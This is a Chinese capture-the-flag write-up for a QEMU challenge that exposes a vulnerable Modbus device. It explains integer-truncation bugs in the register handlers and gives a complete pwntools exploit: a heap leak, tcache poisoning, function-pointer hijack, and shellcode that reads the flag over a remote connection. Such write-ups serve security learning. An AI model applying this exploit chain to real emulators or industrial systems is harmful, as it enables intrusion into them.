2025-11-04T15:53:27.png

2nd Blood

题目的启动脚本中把 modbus 工控协议对应的虚拟设备的 I/O 直接暴露到 socket I/O上,并且关闭了其它所有设备,所以本质上是直接对这个设备模型的漏洞利用,只不过放在了 QEMU 环境里。关于 modbus 的报文协议细节直接询问 AI 就能得到非常详细的答复,LLM 把了解一个未知协议运作的门槛降低了好几个数量级。

modbus 协议报文

  • 读寄存器
# RTU Function 0x03: Read Holding Registers
Req: [addr][0x03][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi]
Resp: [addr][0x03][byte_count][data_hi][data_lo]...[CRClo][CRChi]
  • 写寄存器
# RTU Function 0x10: Write Multiple Registers
Req: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][byte_count][values...][CRClo][CRChi] # total 9 + len(values) bytes
Resp: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi] # total 8 bytes

分析

设备的 realize 函数如下:

2025-11-04T15:51:38.png

其中 mbusTransmitDataHandler 回调函数是主要关注对象,它调用了 mbusPorcessBuf 进行具体的报文处理:

2025-11-04T15:51:45.png

mbusPorcessBuf 主逻辑和其中两个负责读写寄存器的函数如下:

2025-11-04T16:05:56.png

2025-11-04T16:06:05.png

2025-11-04T16:06:13.png

审计 mbusProcessBuf 逻辑主要发现三个漏洞点:

  1. 在 mbus 的读寄存器函数中,qty+start 被强制转换为 uint16 导致越界;
  2. 在 mbus 的读寄存器函数中,malloc((unsigned int8)(2*qty)+5)uint16 强制下转换到 uint8,可能导致实际申请的空间比读写空间小,发生堆上溢出写;
  3. 类似的,在 mbus 的写寄存器函数中,qty+start 被强制转换为 uint16 导致越界;

利用

  • 因此,利用 mbus 协议读寄存器产生的堆越界读能力,泄露 &obj->regs[0] 开始的 0x10000 字节内存,能够在特定 offset 上得到 libc,ELF,heap 地址;
  • 利用 malloc 调用机会和越界写能力,攻击 tcache,布置 0xa00xb00xc0 大小三个连续堆块的 sizenext,可以构造任意 malloc 原语。但是任意 malloc 紧接着一个 free,所以任意 malloc 的目标地址必须符合合法堆块 size 检查;
  • 然后劫持通信使用的 obj(设备对象)堆块。在 0xa0 偏移开始有三个在设备 realize 时就注册好的回调函数指针,劫持 0xb0 偏移的指针,可以发现调用该函数指针时,rdi 为 0xc0 偏移处的 8 字节。由于 QEMU 运行环境的 system 带有 cloexec FLAG(启动子程序时关闭已有 fd),所以重定向不太能用,而且远程尝试反弹 shell 不出网;
  • 最后通过 strace 发现读写网络 I/O 的 fd 为 10,于是干脆用 setcontextmprotect 执行 shellcode 实现 open("flag", 0) => sendfile(out_fd=10, ...) 效果,在远程环境下试了几次即可拿到flag;

EXP

完整 EXP:

from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'

# p = remote("127.0.0.1", 1503)
# p = remote("127.0.0.1", 1502)
p=remote("8.147.132.101",30721)

# crc16
def crc16(data: bytes):
    crc = 0xFFFF
    for b in data:
        crc ^= b
        for _ in range(8):
            if (crc & 0x0001) != 0:
                crc >>= 1
                crc ^= 0xA001
            else:
                crc >>= 1
    return crc

# RTU Function 0x03: Read Holding Registers
def read_reg(addr: int, start: int=0, qty: int=1):
    # Req: [addr][0x03][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi]
    # Resp: [addr][0x03][byte_count][data_hi][data_lo]...[CRClo][CRChi]
    packet = b""
    packet += p8(addr)  # addr
    packet += p8(0x03)  # function code
    packet += p16(start, endianness="big")  # start address
    packet += p16(qty, endianness="big")  # quantity
    packet += p16(crc16(packet))  # CRC
    #return packet
    p.send(packet)

# RTU Function 0x10: Write Multiple Registers
def write_reg(addr: int, start: int=0, qty: int=-1, _bytes: int=-1, values: bytes=b""):
    # Req: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][byte_count][values...][CRClo][CRChi] # total 9 + len(values) bytes
    # Resp: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi] # total 8 bytes
    packet = b""
    packet += p8(addr)  # addr
    packet += p8(0x10)  # function code
    packet += p16(start, endianness="big")  # start address
    if qty == -1:
        qty = len(values) // 2
    packet += p16(qty, endianness="big")  # quantity
    if _bytes == -1:
        _bytes = len(values)
    packet += p8(_bytes)  # byte count
    packet += values  # values
    packet += p16(crc16(packet))  # CRC
    #return packet
    p.send(packet)

# write 
## max value size 250 bytes
#bytes_to_write = b"<"+b"A"*(512-2)+b">"
#for i in range(0, len(bytes_to_write), 2):
#    chunk = bytes([bytes_to_write[i+1], bytes_to_write[i]])
#    print(f"start: {i//2}, chunk: {chunk}")
#    write_reg(1, start=i//2, qty=1, values=chunk)
#    p.recv()
read_reg(1, start=1, qty=0xffff)

# ELF 0x37c
# HEAP 0x32c

def big_u16_to_little_u16(b: bytes) -> bytes:
    res = b""
    for i in range(0, len(b), 2):
        res += bytes([b[i+1], b[i]])
    return res

def leak_int64(data: bytes, offset: int=0) -> int:
    result = 0
    print("---------")
    for i in range(0, 8, 2):
        part = data[offset + i: offset + i +2]
        print("->>",part)
        result = (u16(part, endianness="big") << (i//2*16)) | result
    return result

leak_data = p.recv(0x1000)[3:]
elf_leak = leak_int64(leak_data, 0x37c)
heap_leak = leak_int64(leak_data, 0x32c)
libc_leak = leak_int64(leak_data, 0xfac)
log.success(f"elf_leak: {hex(elf_leak)}")
log.success(f"heap_leak: {hex(heap_leak)}")
log.success(f"libc_leak: {hex(libc_leak)}")
elf_base = elf_leak - 0x9ef3e9
heap_base = heap_leak - 0x718f0
libc_base = libc_leak - 0x203b20
log.success("==============================")
log.success(f"elf_base: {hex(elf_base)}")
log.success(f"heap_base: {hex(heap_base)}")
log.success(f"libc_base: {hex(libc_base)}")

read_reg(1,0,0x48)
read_reg(1,0,0x50)
read_reg(1,0,0x58)

chunka_addr=heap_base+0x2d8570 # a0
chunkb_addr=heap_base+0x2d8610 # b0
chunkc_addr=heap_base+0x2d86c0 # c0

offab=(0xa0-0x10+8-3)//2
offac=(0xa0-0x10+0xb0+8-3)//2
offbc=(0xa0-0x10+8-3)//2

write_reg(1,offab,values=b"\0\xf1")
write_reg(1,offac,values=b"\0\xf1")

read_reg(1,0,0x48+0x80)
read_reg(1,0,0x58)
read_reg(1,0,0x50)

# 48:a0 50:b0 58:c0 60:d0
# 68:e0 70:f0 

# now chunkb and chunkc free in tcache f0

def encaddr(addr):
    secret=chunkb_addr>>12^addr
    return secret

target=chunka_addr+0x13

setc=0x4a99d+libc_base
#0x00000000000986f5 : mov rdx, qword ptr [rdi + 8] ; mov rax, qword ptr [rdi] ; mov rdi, rdx ; jmp rax
magic=0x00000000000986f5+libc_base
newstack=chunkb_addr+0x13

page=chunka_addr&(~0xfff)
shcbuf=chunkb_addr+0x13

shctxt='''
lea rdi,qword ptr [rip+flagstr]
mov ax,2
xor esi,esi
syscall

push rax
pop rsi
mov edi,10
xor edx,edx
mov cx,0x100
mov ax,40
syscall

flagstr:
    .ascii "flag\\0\\0"
'''
context.arch="amd64"
shc=asm(shctxt)

open_libc=0x11b150+libc_base
sdfl_libc=0x11bbb0+libc_base
mprot_libc=0x125c40+libc_base
buffer=p64(setc)+p64(target-0x58)+p64(page)+p64(0x1000)+p64(7)+p64(7)+p64(7)+p64(7)+p64(7)+p64(target+0x58)+p64(mprot_libc)+p64(shcbuf)

def arb_malloc(addr):

    pld=buffer.ljust(0x80,b'\0')
    write_reg(1,0x8,values=pld)

    pld=b'\0'+p64(0xb1)+p64(encaddr(addr))+b'\0'
    write_reg(1,offab,values=pld)
    read_reg(1,0,0x48+0x80)

    pld=b'\0'+p64(0xf1)
    write_reg(1,offbc,values=pld)
    write_reg(1,0x8,values=shc)
    read_reg(1,0,0x70)
    # now chunkb in tcache b1 
    # tcache f1 hijacked

obj_addr=heap_base+0x84750

arb_malloc(obj_addr)

ptr1=0x40f6b6+elf_base
ptr2=0x40f5bb+elf_base
syst_addr=libc_base+0x58750
log.success("system at"+hex(syst_addr))

pld=b"\0"*(0xa0-0x10)
pld+=p64(ptr1)+p64(magic)+p64(magic)
pld+=b'aaaaaaaa'+p64(target)

write_reg(1,(0x10-3)//2,values=b'\0'+pld+b'\0')

read_reg(1,0,0x70)
pause()
p.recvuntil(b'aaaaaaaa')

p.interactive()

标签: QEMU, modbus

添加新评论